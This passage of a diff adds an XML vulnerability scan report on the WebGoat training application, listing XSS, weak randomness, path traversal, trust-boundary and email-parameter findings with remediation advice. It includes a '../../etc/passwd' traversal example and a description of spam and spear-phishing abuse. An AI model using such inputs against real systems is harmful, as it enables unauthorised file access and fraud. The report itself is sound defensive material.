+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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